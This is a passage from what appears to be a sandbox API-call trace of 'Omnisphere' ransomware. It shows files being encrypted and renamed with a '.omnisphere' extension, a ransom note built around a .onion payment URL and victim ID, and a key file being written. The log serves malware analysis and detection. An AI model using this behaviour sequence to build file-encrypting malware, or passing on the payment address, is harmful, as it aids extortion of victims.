hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.378] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.379] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.379] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.379] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.379] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.379] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.379] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.381] CryptDestroyKey (hKey=0x16395e8) returned 1 [0128.381] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0128.381] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa600, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.381] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.381] GetProcessHeap () returned 0x1600000 [0128.381] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1712ac8 [0128.382] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\f01b4d95cf55d32a.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\f01b4d95cf55d32a.automaticdestinations-ms.omnisphere")) returned 1 [0128.383] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms.omnisphere.id" [0128.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\f01b4d95cf55d32a.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.386] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.387] CloseHandle (hObject=0x388) returned 1 [0128.388] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.388] CloseHandle (hObject=0x3c0) returned 1 [0128.388] SetEndOfFile (hFile=0x288) returned 1 [0128.388] FlushFileBuffers (hFile=0x288) returned 1 [0128.396] CloseHandle (hObject=0x288) returned 1 [0128.396] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.396] GetProcessHeap () returned 0x1600000 [0128.396] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fdeb8 [0128.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.397] GetProcessHeap () returned 0x1600000 [0128.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdc80 [0128.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdc80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.397] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.397] GetProcessHeap () returned 0x1600000 [0128.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710080 [0128.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710080, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.397] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.397] GetProcessHeap () returned 0x1600000 [0128.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb380 [0128.397] PathCombineW (in: pszDest=0x16fb380, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.397] GetProcessHeap () returned 0x1600000 [0128.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170ed80 [0128.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.398] WriteFile (in: hFile=0x288, lpBuffer=0x170ed80*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170ed80*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.398] CloseHandle (hObject=0x288) returned 1 [0128.398] GetProcessHeap () returned 0x1600000 [0128.398] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fdeb8 | out: hHeap=0x1600000) returned 1 [0128.398] GetProcessHeap () returned 0x1600000 [0128.398] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.398] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.398] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.399] CloseHandle (hObject=0x288) returned 1 [0128.399] GetProcessHeap () returned 0x1600000 [0128.399] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.399] GetProcessHeap () returned 0x1600000 [0128.399] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.399] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fe51f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms", cAlternateFileName="FB3B0D~1.AUT")) returned 1 [0128.399] GetProcessHeap () returned 0x1600000 [0128.399] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.399] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="fb3b0dbfee58fac8.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" [0128.399] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\fb3b0dbfee58fac8.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.400] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.400] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.402] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.402] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.402] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.402] CloseHandle (hObject=0x3c0) returned 1 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.403] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] GetTickCount () returned 0x1160084 [0128.404] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668f00) returned 1 [0128.405] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.405] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.405] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.405] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0128.405] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.405] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.405] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0128.406] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.406] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.406] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.407] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.408] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 